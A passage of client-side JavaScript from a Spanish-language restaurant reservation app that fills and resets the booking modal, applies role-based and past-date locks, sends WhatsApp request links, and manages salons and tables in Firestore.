  document.getElementById('fechaReservaEditBlock').style.display = 'none';
}
document.getElementById('fHora').value = r.hora;
document.getElementById('fHoraSalida').value = r.horaSalida || '';
document.getElementById('fFranjaCena').value = String(r.franjaCena || '').tri
renderFranjaCenaBlock();
// Seguro extra: en algunos iPhone el resaltado dorado de Cena 1/Cena 2
// no se repinta a tiempo si este render cae en el mismo instante en que
// el modal se está mostrando — se repite en el siguiente frame para
// garantizar que quede pintado, sin cambiar ningún dato.
requestAnimationFrame(renderFranjaCenaBlock);
document.getElementById('fPax').value = r.pax;
document.getElementById('fNombre').value = r.nombre;
{ const cel = partirCelularGuardado(r.celular); document.getElementById('fCel
document.getElementById('fCorreo').value = r.correo || '';
document.getElementById('fCumpleanos').value = r.cumpleanos || '';
document.getElementById('clienteReconocidoAviso').style.display = 'none';
desbloquearFormularioTelefonoPorDuplicado();
document.getElementById('fMesa').value = r.mesa;
actualizarBotonMesa();
document.getElementById('fCanal').value = r.canal;
document.getElementById('fAbono').value = r.abono;
// Abono — si esta reserva ya tenía un valor pactado o abonos
// parciales guardados, se abre en modo "pactado" (checkbox marcado y
// toda la lista visible). Si tenía un abono simple de ANTES de este
// cambio (un número suelto, sin comprobantes), se conserva tal cual
// se guardó — no se pierde — pero ya no se edita desde un campo
// suelto: se deja un aviso de solo lectura, y si quieren registrar
// más detalle (comprobantes, pagos parciales) marcan la casilla.
const tienePactado = Number(r.abonoPactado) > 0 || (Array.isArray(r.abonoAbon
document.getElementById('fTieneAbonoPactado').checked = tienePactado;
document.getElementById('fAbonoPactadoValor').value = r.abonoPactado ? Number
abonoPactadoAbonosTemp = Array.isArray(r.abonoAbonos) ? [...r.abonoAbonos] :
cancelarAgregarAbonoPactado();
toggleAbonoPactadoFields();
const abonoLegacyAviso = document.getElementById('abonoLegacyAviso');
if(!tienePactado && Number(r.abono) > 0){
  abonoLegacyAviso.style.display = 'block';
  abonoLegacyAviso.innerHTML = `💰 Abono registrado: $${Number(r.abono).toLoc
} else {
  abonoLegacyAviso.style.display = 'none';
}
document.getElementById('fMenu').value = r.menu;
document.getElementById('fObs').value = r.obs;
estadoSeleccionado = r.estado;
```

```
document.getElementById('fMotivoCancelacion').value = r.motivoCancelacion ||
actualizarEstadoUI();
// El botón Eliminar es exclusivo del administrador — Operativo y
// Consulta solo pueden cancelar la reserva (queda guardada en estado
// "Cancelada"), nunca borrarla, para no perder la trazabilidad de que
// un cliente escribió y no se le contestó a tiempo.
{ const rolBtn = usuarioActual ? (usuarioActual.rol || 'admin') : 'admin'; bt
// Solo mostramos este campo para reservas que pasaron por el flujo de
// solicitud/aprobación (donde tiene sentido registrar cuándo llegó el
// pedido). Si el registro es viejo y no tiene fechaSolicitud guardada,
// mostramos la fecha de la reserva como punto de partida editable —
// así el staff puede corregirla a mano si recuerda la fecha real.
const esDelFlujoSolicitud = r.pasoPorSolicitud === true || r.estado==='solici
const fechaSolicitudBlock = document.getElementById('fechaSolicitudBlock');
if(esDelFlujoSolicitud){
  fechaSolicitudBlock.style.display = 'block';
  document.getElementById('fFechaSolicitud').value = r.fechaSolicitud || r.fe
} else {
  fechaSolicitudBlock.style.display = 'none';
}
// El comprobante de pago queda amarrado a esta reserva en la base de
// datos (campo comprobanteAbono). Si existe, mostramos aquí un acceso
// directo para verlo, sin importar por qué pantalla se abrió el modal.
const comprobanteBlock = document.getElementById('modalComprobanteBlock');
if(r.comprobanteAbono){
  comprobanteBlock.style.display = 'block';
  comprobanteBlock.innerHTML = `<div class="modal-comprobante">
    <span class="modal-comprobante-txt">🧾 Comprobante de pago guardado</span
    <button type="button" class="btn-ver-comprobante" onclick='verComprobante
  </div>`;
} else {
  comprobanteBlock.style.display = 'none';
  comprobanteBlock.innerHTML = '';
}
// Cover de evento especial — mismo criterio: si la reserva ya tiene un
// valor de cover guardado, se marca el check y se muestra su
// comprobante (si lo hay). coverComprobanteBase64Temp se limpia acá
// porque, al abrir la reserva, todavía no se ha elegido ningún archivo
// nuevo — solo se sube uno nuevo si el staff lo hace en este momento.
coverComprobanteBase64Temp = null;
document.getElementById('fTieneCover').checked = Number(r.coverValor) > 0;
document.getElementById('fSolicitudMusico').checked = !!r.solicitudMusico;
document.getElementById('fObsMusico').value = r.obsMusico || '';
toggleSolicitudMusicoFields();
// coverValorPersona es el campo nuevo (lo que escribe el staff, por
// persona). Reservas viejas solo tienen coverValor (el total plano de
// antes) — para esas, se calcula el valor por persona dividiendo entre
```

```
  // el pax guardado, como mejor estimado, y el staff lo puede corregir.
  const coverPersonaGuardado = r.coverValorPersona != null
    ? r.coverValorPersona
    : (Number(r.coverValor) > 0 && Number(r.pax) > 0 ? Math.round(Number(r.cove
  document.getElementById('fCoverValor').value = coverPersonaGuardado ? Number(
  coverAbonosTemp = Array.isArray(r.coverAbonos) ? [...r.coverAbonos] : [];
  cancelarAgregarAbonoCover();
  toggleCoverFields();
  // Comprobante ÚNICO del cover, de antes de que existieran los abonos
  // por partes — ya no se puede reemplazar desde acá (cada abono nuevo
  // lleva el suyo propio), solo se deja verlo si la reserva es de esa
  // época y todavía no tiene ningún abono registrado en el formato nuevo.
  const legacyBlock = document.getElementById('coverComprobanteLegacyBlock');
  if(r.comprobanteCover && coverAbonosTemp.length === 0){
    legacyBlock.style.display = 'block';
    document.getElementById('btnVerComprobanteCoverLegacy').onclick = () => ver
  } else {
    legacyBlock.style.display = 'none';
  }
 } catch(errAbrirModal){
  // Si algo falla llenando el formulario, que se vea CLARO en pantalla
  // en vez de dejar el modal a medio llenar sin explicación — así, la
  // próxima vez que pase, con solo una foto de esta alerta se sabe
  // exactamente qué línea falló, sin tener que adivinar.
  console.error('Error abriendo la reserva para editar:', errAbrirModal);
  alert('Hubo un error abriendo esta reserva:\n\n' + (errAbrirModal && errAbrir
 }
} else {
  // La fecha de una reserva NUEVA siempre arranca en HOY, sin importar
  // qué día estés mirando en el calendario de "Por día" — ese calendario
  // es solo para navegar reservas ya existentes, no debe influir en algo
  // que se está creando de cero. Si luego resulta que es para otro día,
  // se mueve editándola (ver fechaReservaEditBlock arriba).
  // EXCEPCIÓN: un "Promotor de eventos" solo gestiona UN evento — toda
  // reserva nueva que cree arranca directo en la fecha/turno de ESE
  // evento, no en hoy.
  const hoyDate = new Date();
  const esPromotorNueva = usuarioActual && usuarioActual.rol === 'promotor' &&
  let horaEntradaPromotor = '';
  let evCompletoPromotor = null;
  if(esPromotorNueva){
    modalFecha = usuarioActual.eventoAsignado.fecha;
    modalTurno = usuarioActual.eventoAsignado.turno;
    // La hora de entrada (y la imagen de publicidad) no siempre vienen
    // completas en eventoAsignado (guardado en el usuario) — se buscan en
    // eventosCache, que trae el documento completo del evento, igual que
    // en elegirEventoTelefono.
```

```
  evCompletoPromotor = (typeof eventosCache !== 'undefined' ? eventosCache :
  horaEntradaPromotor = (evCompletoPromotor && evCompletoPromotor.horaEntrada
} else {
  modalFecha = fechaISO(hoyDate);
  modalTurno = turnoActivo === 'todos' ? turnoRealDeAhora() : turnoRealDesdeA
}
document.getElementById('fechaReservaEditBlock').style.display = 'none';
document.getElementById('turnoInvalidoAviso').style.display = 'none';
// Si se está creando desde el filtro "Cena 1"/"Cena 2", se precarga esa
// franja como punto de partida (el staff la puede cambiar) — pero solo
// sirve de verdad si la fecha con la que arranca (hoy) es viernes o
// sábado; si no, renderFranjaCenaBlock() la oculta igual.
document.getElementById('fFranjaCena').value = (turnoActivo === 'cena1') ? 't
renderFranjaCenaBlock();
if(esPromotorNueva){
  // Un promotor no elige tipo de reserva ni evento — ese paso entero
  // (con la parrilla de TODOS los eventos activos) se salta, porque
  // ahí es donde se podía colar y terminar reservando para un evento
  // o una fecha distinta a la suya. Se le deja ver, fijo y sin poder
  // tocarlo, el mismo aviso "fecha y hora fijas al evento" que usa
  // cualquier reserva ya amarrada a un evento.
  document.getElementById('tipoReservaBlock').style.display = 'none';
  // Igual que cuando cualquier otro rol elige un evento de la parrilla
  // (elegirEventoTelefono) — se marca tipoReservaActual/eventoSeleccionado
  // ParaReserva para que guardarReserva() y enviarParaAprobacion() etiqueten
  // esta reserva con el eventoId real. Antes esto no pasaba para un
  // Promotor: sus reservas se guardaban SIN eventoId, lo que años después
  // (regla de seguridad de Firestore) le habría impedido hasta verlas.
  tipoReservaActual = 'evento';
  eventoSeleccionadoParaReserva = { id: usuarioActual.eventoAsignado.id, nomb
  mostrarEventoFechaFija(
    usuarioActual.eventoAsignado.nombre,
    evCompletoPromotor ? evCompletoPromotor.imagen : null,
    modalFecha, modalTurno, horaEntradaPromotor
  );
  // La hora también viene fija del evento — igual que cuando cualquier
  // otro rol elige un evento desde la parrilla (elegirEventoTelefono),
  // se oculta la rueda de hora para que no se pueda mover y se deja el
  // campo de hora ya cargado con la hora de entrada del evento.
  document.getElementById('horaWheelBlock').style.display = 'none';
} else {
  document.getElementById('tipoReservaBlock').style.display = 'block';
  elegirTipoReserva('normal');
  cargarEventosActivosParaSelector();
}
bloquearFormularioTelefonoPorHoraSinConfirmar();
// Se simplificó: ya no se pregunta "¿por teléfono o por WhatsApp?" —
```

```
// toda reserva nueva entra directo al formulario de teléfono. El
// envío de link por WhatsApp queda sin usarse por ahora (el código
// sigue ahí, sin borrar, por si se quiere reactivar más adelante).
canalNuevoBlock.style.display = 'none';
whatsappBlock.style.display = 'none';
elegirCanalNuevo('telefono');
document.getElementById('modalTitle').textContent = 'Nueva reserva (Teléfono)
document.getElementById('modalSub').textContent = (usuarioActual && usuarioAc
  ? `🎤 ${usuarioActual.eventoAsignado.nombre} — ${modalTurno.charAt(0).toUpp
  : `${modalTurno.charAt(0).toUpperCase()+modalTurno.slice(1)} · ${modalFecha
// El reset de arriba deja fHora vacío para cualquier reserva nueva —
// pero si es un promotor, la hora YA viene fija del evento (no hay
// rueda visible para que la ponga a mano), así que se rellena aquí,
// después del reset, para que no se vuelva a borrar.
document.getElementById('fHora').value = esPromotorNueva ? horaEntradaPromoto
// elegirCanalNuevo() (arriba) acaba de reescribir fFechaReservaEdit/
// fTurnoReservaEdit directamente por .value, sin disparar 'change' —
// por eso el aviso de "este turno tiene evento" se quedaba con la
// fecha de la sesión anterior si no se refresca aquí a mano.
actualizarAvisoEventoNormalTelefono();
document.getElementById('fHoraSalida').value = '';
document.getElementById('fPax').value = '';
document.getElementById('fNombre').value = '';
document.getElementById('fCelularCod').value = '57';
document.getElementById('fCelular').value = '';
document.getElementById('fCorreo').value = '';
document.getElementById('fCumpleanos').value = '';
document.getElementById('clienteReconocidoAviso').style.display = 'none';
desbloquearFormularioTelefonoPorDuplicado();
document.getElementById('fMesa').value = mesaId || '';
actualizarBotonMesa();
document.getElementById('fCanal').value = 'Teléfono';
document.getElementById('fAbono').value = '';
document.getElementById('fTieneAbonoPactado').checked = false;
document.getElementById('fAbonoPactadoValor').value = '';
abonoPactadoAbonosTemp = [];
cancelarAgregarAbonoPactado();
toggleAbonoPactadoFields();
document.getElementById('abonoLegacyAviso').style.display = 'none';
coverComprobanteBase64Temp = null;
document.getElementById('fTieneCover').checked = false;
document.getElementById('fCoverValor').value = '';
coverAbonosTemp = [];
cancelarAgregarAbonoCover();
document.getElementById('coverComprobanteLegacyBlock').style.display = 'none'
toggleCoverFields();
document.getElementById('fSolicitudMusico').checked = false;
```

```
    document.getElementById('fObsMusico').value = '';
    toggleSolicitudMusicoFields();
    document.getElementById('fMenu').value = '';
    document.getElementById('fObs').value = '';
    document.getElementById('fWhatsTelefonoCod').value = '57';
    document.getElementById('fWhatsTelefono').value = '';
    document.getElementById('fWhatsContacto').value = '';
    const avisoWhatsReset = document.getElementById('clienteWhatsReconocidoAviso'
    if(avisoWhatsReset) avisoWhatsReset.style.display = 'none';
    // (El reseteo de las pantallas de éxito ahora se hace arriba, al
    // principio de la función, para que también aplique al editar una
    // reserva ya existente — no solo al crear una nueva.)
    // Por defecto queda "pendiente" — la persona que toma la llamada no
    // siempre puede confirmar de una vez (puede depender de disponibilidad,
    // de que el cliente confirme algo, etc.). Si ya está confirmada de
    // verdad, el staff la cambia a "Confirmada" a mano.
    estadoSeleccionado = 'pendiente';
    document.getElementById('fMotivoCancelacion').value = '';
    actualizarEstadoUI();
    btnEliminar.style.display = 'none';
    document.getElementById('modalComprobanteBlock').style.display = 'none';
    document.getElementById('modalComprobanteBlock').innerHTML = '';
    document.getElementById('fechaSolicitudBlock').style.display = 'none';
  }
  actualizarEstadoUI();
  aplicarModoConsultaEnModal();
  aplicarBloqueoFechaVencida();
  overlay.classList.add('open');
}

// Si el usuario es de nivel "consulta", puede abrir la reserva para VER los
// datos, pero el formulario queda bloqueado: no puede escribir, guardar,
// borrar, elegir mesa ni enviar nada por WhatsApp. Esto se aplica cada vez
// que se abre el modal, así no hace falta duplicar la lógica en cada campo.
// Una reserva de un día que ya pasó (comparado con la fecha de HOY) queda
// bloqueada: no se puede editar ni reenviar para aprobación del cliente.
// Si no se gestionó a tiempo, ya gestionarla después no tiene sentido —
// el evento ya pasó (haya venido el cliente o no). El estado que haya
// quedado (confirmada/pendiente/cancelada) se conserva tal cual, como
// registro histórico.
function reservaFechaVencida(r){
  if(!r || !r.fecha) return false;
  const hoyISO = fechaISO(new Date());
  return r.fecha < hoyISO;
}
function aplicarBloqueoFechaVencida(){
  const overlay = document.getElementById('overlay');
```

```
  const r = editandoId ? reservas.find(x => x.id === editandoId) : null;
  const vencida = !!(r && reservaFechaVencida(r));
  overlay.classList.toggle('modal-reserva-vencida', vencida);
  const modal = overlay.querySelector('.modal');
  if(!modal) return;
  if(vencida) modal.setAttribute('data-fecha-vencida', r.fecha);
  // No pisa lo que ya haya decidido el modo consulta (que ya deja todo
  // deshabilitado) — solo añade el bloqueo cuando el modo consulta no
  // aplicaba pero la fecha sí ya pasó.
  modal.querySelectorAll('input, select, textarea').forEach(el => {
    if(vencida) el.disabled = true;
  });
  const btnGuardar = document.getElementById('btnGuardarReserva');
  const btnAprobacion = modal.querySelector('.btn-aprobacion');
  const btnAgregarMesa = modal.querySelector('.btn-agregar-mesa');
  if(vencida){
    if(btnGuardar) btnGuardar.style.display = 'none';
    if(btnAprobacion) btnAprobacion.style.display = 'none';
    if(btnAgregarMesa) btnAgregarMesa.style.display = 'none';
  }
  // btnEliminar se deja intacto: sigue rigiéndose solo por el rol
  // (exclusivo de administrador), sin importar si la fecha ya pasó.
}

function aplicarModoConsultaEnModal(){
  const overlay = document.getElementById('overlay');
  const esConsulta = usuarioActual && usuarioActual.rol === 'consulta';
  overlay.classList.toggle('modal-solo-lectura', !!esConsulta);
  const modal = overlay.querySelector('.modal');
  if(!modal) return;
  modal.querySelectorAll('input, select, textarea').forEach(el => { el.disabled =
  const btnGuardar = document.getElementById('btnGuardarReserva');
  const btnEliminar = document.getElementById('btnEliminar');
  const btnElegirMesa = document.getElementById('btnElegirMesa');
  const btnAprobacion = modal.querySelector('.btn-aprobacion');
  const btnAgregarMesa = modal.querySelector('.btn-agregar-mesa');
  if(esConsulta){
    if(btnGuardar) btnGuardar.style.display = 'none';
    if(btnEliminar) btnEliminar.style.display = 'none';
    if(btnElegirMesa) btnElegirMesa.disabled = true;
    if(btnAprobacion) btnAprobacion.style.display = 'none';
    if(btnAgregarMesa) btnAgregarMesa.style.display = 'none';
  } else {
    if(btnGuardar) btnGuardar.style.display = '';
    if(btnElegirMesa) btnElegirMesa.disabled = false;
    if(btnAprobacion) btnAprobacion.style.display = '';
    if(btnAgregarMesa) btnAgregarMesa.style.display = '';
```

```
    // btnEliminar se deja como ya lo maneja abrirModal más arriba (solo
    // visible cuando se está editando una reserva existente).
  }
}

function elegirCanalNuevo(tipo){
  document.getElementById('canalNuevoBlock').style.display = 'none';
  if(tipo === 'telefono'){
    document.getElementById('fCanal').value = 'Teléfono';
    document.getElementById('formCompletoBlock').style.display = 'block';
    // Al tomar la reserva por teléfono, el staff tiene que poder decir para
    // qué día y turno es el evento (puede ser hoy, mañana, el sábado que
    // viene, etc.) — no se puede asumir "hoy" a la fuerza. El día en que se
    // ORIGINÓ la llamada (fechaSolicitud) se sigue guardando aparte y
    // siempre como hoy, automático, sin que esto lo afecte.
    // EXCEPCIÓN: si la fecha/hora ya están fijas por un evento especial
    // (Promotor de eventos, o cualquiera que ya haya elegido un evento de
    // la parrilla), este bloque NO se vuelve a mostrar — antes esta línea
    // lo reactivaba sin condición y así se colaba el calendario editable
    // encima del aviso de "fecha y hora fijas al evento".
    if(!hayEventoConFechaFija()) document.getElementById('fechaReservaEditBlock')
    document.getElementById('fFechaReservaEdit').value = modalFecha;
    document.getElementById('fTurnoReservaEdit').value = modalTurno;
    document.getElementById('turnoInvalidoAviso').style.display = 'none';
    renderFranjaCenaBlock();
  } else {
    document.getElementById('whatsappBlock').style.display = 'block';
  }
}

function urlFormularioSolicitud(id){
  const url = new URL('solicitud.html', location.href);
  if(id) url.searchParams.set('id', id);
  return url.href;
}

// El teléfono es la "cédula" del cliente en la base de datos — apenas se
// termina de escribir, se revisa si ese número ya pertenece a un cliente
// registrado, y si es así, se completa el nombre solo (el staff lo
// puede corregir igual, por si esta vez contesta alguien distinto).
function reconocerClienteWhatsapp(){
  const cod = document.getElementById('fWhatsTelefonoCod').value;
  const local = document.getElementById('fWhatsTelefono').value.trim();
  const aviso = document.getElementById('clienteWhatsReconocidoAviso');
  if(aviso) aviso.style.display = 'none';
  if(local.replace(/\D/g,'').length < 7) return;
  const tel = normalizarTelefono(armarCelularCompleto(cod, local));
```

```
  if(!tel) return;
  db.collection('clientes').doc(tel).get().then(doc => {
    if(!doc.exists) return;
    const data = doc.data() || {};
    const fContacto = document.getElementById('fWhatsContacto');
    if(fContacto && data.nombre) fContacto.value = data.nombre;
    if(aviso) aviso.style.display = 'block';
  }).catch(err => console.error('No se pudo revisar el cliente:', err));
}

function enviarSolicitudWhatsapp(){
  const miTokenSolicitud = modalToken;
  const cod = document.getElementById('fWhatsTelefonoCod').value;
  const telefonoLocal = document.getElementById('fWhatsTelefono').value.trim();
  const contacto = document.getElementById('fWhatsContacto').value.trim();
  if(!telefonoLocal){ alert('Ingresa el teléfono de WhatsApp del cliente.'); retu
  const telefono = armarCelularCompleto(cod, telefonoLocal);

  const digitos = digitosWhatsapp(telefono);
  if(!digitos){
    alert(`El número "${telefono}" no parece válido. Revísalo e intenta de nuevo.
    return;
  }

  const btn = document.getElementById('btnEnviarSolicitudWhatsapp');
  if(btn){ btn.disabled = true; btn.textContent = 'Guardando…'; }

  const hoy = new Date();
  const fechaHoy = `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padStart(2,'0

  // Se crea el registro DESDE que se manda el primer mensaje, no cuando el
  // cliente responde — así queda trazado todo el proceso, incluso si el
  // cliente nunca contesta. El formulario (solicitud.html) va a completar
  // este MISMO documento cuando el cliente lo llene, en vez de crear uno
  // nuevo aparte.
  const datoInicialSolicitud = {
    fecha: '', turno: '', hora: '', pax: 0,
    nombre: contacto, celular: telefono,
    mesa: '', abono: 0, menu: '', obs: '',
    canal: 'WhatsApp (mensaje enviado)',
    estado: 'mensaje_enviado',
    pasoPorSolicitud: true,
    fechaSolicitud: fechaHoy,
    horaSolicitud: horaSolicitudActual(),
  };
  sellarUsuarioEnReserva(datoInicialSolicitud, true);
  generarCodigoReserva().then(codigo => {
```

```
    datoInicialSolicitud.codigoReserva = codigo;
    return reservasRef.add(datoInicialSolicitud);
  }).then(docRef => {
    // Si mientras se guardaba esto el staff ya abrió otra reserva
    // distinta, no se pisa lo que está viendo ahora en pantalla — el
    // registro ya quedó guardado en Firestore de todas formas, solo se
    // omite esta actualización de pantalla que ya no aplica.
    if(miTokenSolicitud !== modalToken) return;
    const mensaje = armarMensaje(MENSAJES.solicitud, { nombre: contacto, link: ur
    const url = `https://wa.me/${digitos}?text=${encodeURIComponent(mensaje)}`;
    // En vez de manejar una pestaña aparte (que en algunos casos se
    // cerraba antes de completar la redirección), el botón "Abrir
    // WhatsApp" queda AQUÍ MISMO, dentro del modal — así el toque que
    // abre WhatsApp es 100% directo del usuario, sin ninguna ventana
    // intermedia que pueda fallar.
    document.getElementById('linkAbrirWhatsapp').href = url;
    document.getElementById('destinoWhatsappTexto').innerHTML = `Se enviará a:<br
    document.getElementById('modalTitle').textContent = 'Enviar solicitud';
    document.getElementById('modalSub').textContent = 'Guardada — falta que el cl
    document.getElementById('whatsappBlock').style.display = 'none';
    document.getElementById('whatsappExitoBlock').style.display = 'block';
  }).catch(err => {
    console.error('Error creando el registro de solicitud:', err);
    alert('No se pudo iniciar la solicitud. Revisa tu conexión e intenta de nuevo
  }).finally(() => {
    if(btn){ btn.disabled = false; btn.textContent = '💬 Enviar solicitud por Wha
  });
}

function actualizarEstadoUI(){
  document.querySelectorAll('.estado-opt').forEach(b=>{
    b.classList.toggle('on', b.dataset.val===estadoSeleccionado);
  });
  const wrap = document.getElementById('motivoCancelacionWrap');
  if(wrap) wrap.style.display = (estadoSeleccionado === 'cancelada') ? 'block' :
}
document.getElementById('estadoSelect').addEventListener('click', e=>{
  const btn = e.target.closest('.estado-opt');
  if(!btn) return;
  estadoSeleccionado = btn.dataset.val;
  actualizarEstadoUI();
});

// Si el staff cambia la fecha/turno del evento arriba en el formulario
// (por ejemplo, tomando por teléfono una reserva para otro día), esto debe
// quedar reflejado tanto en el subtítulo visible como en modalFecha/
// modalTurno — las variables que usa el selector de mesas para saber qué
```

```
// día/turno consultar y qué mesas ya están ocupadas. Antes solo se
// actualizaba el texto y el plano se quedaba mirando el día/turno viejo.
function actualizarSubtituloModalDesdeCampos(){
  const fecha = document.getElementById('fFechaReservaEdit').value;
  const turno = document.getElementById('fTurnoReservaEdit').value;
  if(!fecha || !turno) return;
  modalFecha = fecha;
  modalTurno = turno;
  const hoyISO = fechaISO(new Date());
  const turnoLabel = turno.charAt(0).toUpperCase()+turno.slice(1);
  document.getElementById('modalSub').textContent = `${turnoLabel} · ${fecha}${fe
  renderFranjaCenaBlock();
}
document.getElementById('fFechaReservaEdit').addEventListener('change', actualiza
document.getElementById('fTurnoReservaEdit').addEventListener('change', actualiza

// ============ CENA 1 (TEMPRANO) / CENA 2 (SHOW) — SOLO VIERNES/SÁBADO =========
// Es solo una etiqueta de referencia para el staff y para los informes; la
// disponibilidad real de la mesa la sigue manejando el campo horaSalida de
// cada reserva (ver ocupadasPorOtro en el selector de mesas), sin tocar esa
// lógica — así no se duplica ni se puede desincronizar.
function diaEsFinDeSemanaCena(fechaStr){
  if(!fechaStr) return false;
  const dow = new Date(fechaStr+'T12:00:00').getDay(); // 5=viernes, 6=sábado
  return dow === 5 || dow === 6;
}
function renderFranjaCenaBlock(){
  const bloque = document.getElementById('franjaCenaBlock');
  if(!bloque) return;
  const editBlockVisible = document.getElementById('fechaReservaEditBlock').style
  const fecha = editBlockVisible ? document.getElementById('fFechaReservaEdit').v
  const turno = editBlockVisible ? document.getElementById('fTurnoReservaEdit').v
  const aplica = turno === 'cena' && diaEsFinDeSemanaCena(fecha);
  bloque.style.display = aplica ? 'block' : 'none';
  if(!aplica) document.getElementById('fFranjaCena').value = '';
  const valorFranja = document.getElementById('fFranjaCena').value;
  document.querySelectorAll('#franjaCenaSelect .estado-opt').forEach(b=>{
    b.classList.toggle('on', String(b.dataset.val).trim() === String(valorFranja)
  });
  const sugerenciaEl = document.getElementById('franjaCenaSugerencia');
  if(sugerenciaEl){
    const yaTieneSalida = !!document.getElementById('fHoraSalida').value;
    if(aplica && valorFranja === 'temprano' && !yaTieneSalida){
      sugerenciaEl.style.display = 'block';
      sugerenciaEl.innerHTML = `💡 Sugerencia: al ser Cena 1 (temprano), puedes a
    } else {
      sugerenciaEl.style.display = 'none';
```

```
      sugerenciaEl.innerHTML = '';
    }
  }
}
function usarSugerenciaHoraSalida(){
  const el = document.getElementById('fHoraSalida');
  if(el) el.value = CORTE_CENA_FINDE;
  if(window.toggleHoraSalidaBlock) window.toggleHoraSalidaBlock(true);
  renderFranjaCenaBlock();
}
document.getElementById('franjaCenaSelect').addEventListener('click', e=>{
  const btn = e.target.closest('.estado-opt');
  if(!btn) return;
  const actual = document.getElementById('fFranjaCena').value;
  // Tocar la opción ya elegida la desmarca (queda "sin definir") — por si
  // el staff todavía no sabe cuál va a pedir el cliente.
  document.getElementById('fFranjaCena').value = (actual === btn.dataset.val) ? '
  renderFranjaCenaBlock();
  // Si el plano de mesas ya está abierto, se refresca para reflejar la
  // disponibilidad de la franja recién elegida (una mesa puede pasar de
  // "ocupada" a "libre" o viceversa al cambiar entre Cena 1 y Cena 2).
  if(typeof renderMesaPickerCanvas === 'function') renderMesaPickerCanvas();
});

function cerrarModal(){
  document.getElementById('overlay').classList.remove('open');
  if(rerenderPendienteTrasModal){
    rerenderPendienteTrasModal = false;
    renderAll();
  }
}

/* ============ PANTALLA DE SALONES Y MESAS ============ */
let editandoSalonId = null;
let mesasTemp = [];
let salonVipTemp = false;

function renderSalonesScreen(){
  renderCapacidadTurnos();
  const el = document.getElementById('listaSalones');
  if(!el) return;
  if(SALONES.length === 0){
    el.innerHTML = `<div class="empty-state">Todavía no hay salones creados.<br>T
    return;
  }
  el.innerHTML = SALONES.map(s => `
    <div class="salon-card-admin ${s.vip?'es-vip':''}">
```

```
      <div class="salon-card-admin-head">
        <div>
          <div class="salon-card-admin-nombre">${s.vip?'<span class="crown">♛</sp
          <div class="salon-card-admin-count">${s.mesas.length} mesa${s.mesas.len
        </div>
        <button class="btn-editar-salon" onclick='abrirModalSalon(${JSON.stringif
      </div>
      <div class="salon-card-admin-mesas">
        ${s.mesas.length ? s.mesas.map(m=>`<span class="mesa-chip-admin">${m.id}$
      </div>
    </div>
  `).join('');
}

function abrirModalSalon(salonId){
  editandoSalonId = salonId || null;
  const btnEliminarSalon = document.getElementById('btnEliminarSalon');

  if(salonId){
    const s = SALONES.find(x=>x.id===salonId);
    document.getElementById('salonModalTitle').textContent = 'Editar salón';
    document.getElementById('fSalonNombre').value = s.nombre;
    salonVipTemp = s.vip;
    mesasTemp = s.mesas.map(m=>({...m}));
    // Si el salón VIP venía con varias mesas (formato anterior), sugerimos
    // como capacidad máxima la suma de todas — el dueño la puede ajustar.
    const capacidadSugerida = mesasTemp.reduce((a,m)=>a+Number(m.cap||0), 0);
    document.getElementById('fCapacidadMaximaVip').value = capacidadSugerida || '
    btnEliminarSalon.style.display = 'block';
  } else {
    document.getElementById('salonModalTitle').textContent = 'Nuevo salón';
    document.getElementById('fSalonNombre').value = '';
    salonVipTemp = false;
    mesasTemp = [];
    document.getElementById('fCapacidadMaximaVip').value = '';
    btnEliminarSalon.style.display = 'none';
  }
  document.getElementById('fNuevaMesaId').value = '';
  document.getElementById('fNuevaMesaCap').value = '';
  actualizarSalonVipUI();
  renderMesasTemp();
  document.getElementById('overlaySalon').classList.add('open');
}

function cerrarModalSalon(){
  document.getElementById('overlaySalon').classList.remove('open');
}
```

```
function setSalonVip(esVip){
  salonVipTemp = esVip;
  actualizarSalonVipUI();
}
function actualizarSalonVipUI(){
  document.getElementById('btnSalonVipSi').classList.toggle('on', salonVipTemp===
  document.getElementById('btnSalonVipNo').classList.toggle('on', salonVipTemp===
  // Salón VIP = una sola capacidad máxima. Salón general = varias mesas con ID p
  document.getElementById('bloqueMesasGenerales').style.display = salonVipTemp ?
  document.getElementById('bloqueCapacidadVip').style.display = salonVipTemp ? 'b
}

function renderMesasTemp(){
  const el = document.getElementById('listaMesasTemp');
  if(mesasTemp.length === 0){
    el.innerHTML = `<div class="empty-state" style="padding:14px 0;">Todavía no h
    return;
  }
  el.innerHTML = mesasTemp.map((m,i) => `
    <div class="listaMesasTemp-row">
      <span>${m.id}${m.cap>0?` — capacidad ${m.cap} personas`:''}</span>
      <span class="quitar-mesa" onclick="quitarMesaTemporal(${i})">×</span>
    </div>
  `).join('');
}

function agregarMesaTemporal(){
  const id = document.getElementById('fNuevaMesaId').value.trim();
  const capInput = document.getElementById('fNuevaMesaCap').value;
  if(!id){ alert('Ponle un ID a la mesa (ej. T35).'); return; }
  if(mesasTemp.some(m=>m.id===id)){ alert('Ya existe una mesa con ese ID en este
  // La capacidad solo tiene sentido en zonas VIP (mide personas del salón
  // completo). Una mesa general no tiene capacidad fija: el staff decide
  // cuántas personas le pone o si junta varias mesas al armar la reserva.
  let cap = Number(capInput) || 0;
  if(salonVipTemp){
    if(!cap || cap<1){ alert('Ingresa una capacidad válida.'); return; }
  }
  mesasTemp.push({id, cap});
  document.getElementById('fNuevaMesaId').value = '';
  document.getElementById('fNuevaMesaCap').value = '';
  renderMesasTemp();
}

function quitarMesaTemporal(i){
  mesasTemp.splice(i,1);
```

```
  renderMesasTemp();
}

function generarIdMesaVip(nombre){
  return nombre.trim().toUpperCase().replace(/\s+/g,'-').replace(/[^A-Z0-9\-]/g,'
}

function guardarSalon(){
  const nombre = document.getElementById('fSalonNombre').value.trim();
  if(!nombre){ alert('Ponle un nombre al salón.'); return; }

  let mesasFinal;
  if(salonVipTemp){
    const capMax = Number(document.getElementById('fCapacidadMaximaVip').value);
    if(!capMax || capMax < 1){ alert('Ingresa la capacidad máxima del salón VIP.'
    mesasFinal = [{ id: generarIdMesaVip(nombre), cap: capMax }];
  } else {
    mesasFinal = mesasTemp;
  }

  const data = { nombre, vip: salonVipTemp, mesas: mesasFinal };

  const promesa = editandoSalonId
    ? salonesRef.doc(editandoSalonId).update(data)
    : salonesRef.add(data);

  promesa.then(() => {
    cerrarModalSalon();
  }).catch(err => {
    console.error('Error guardando salón:', err);
    alert('No se pudo guardar el salón. Revisa tu conexión e intenta de nuevo.');
  });
}

function eliminarSalon(){
  if(!editandoSalonId) return;
  if(!confirm('¿Eliminar este salón y todas sus mesas? Las reservas que ya tenían
  salonesRef.doc(editandoSalonId).delete().then(() => {
    cerrarModalSalon();
  }).catch(err => {
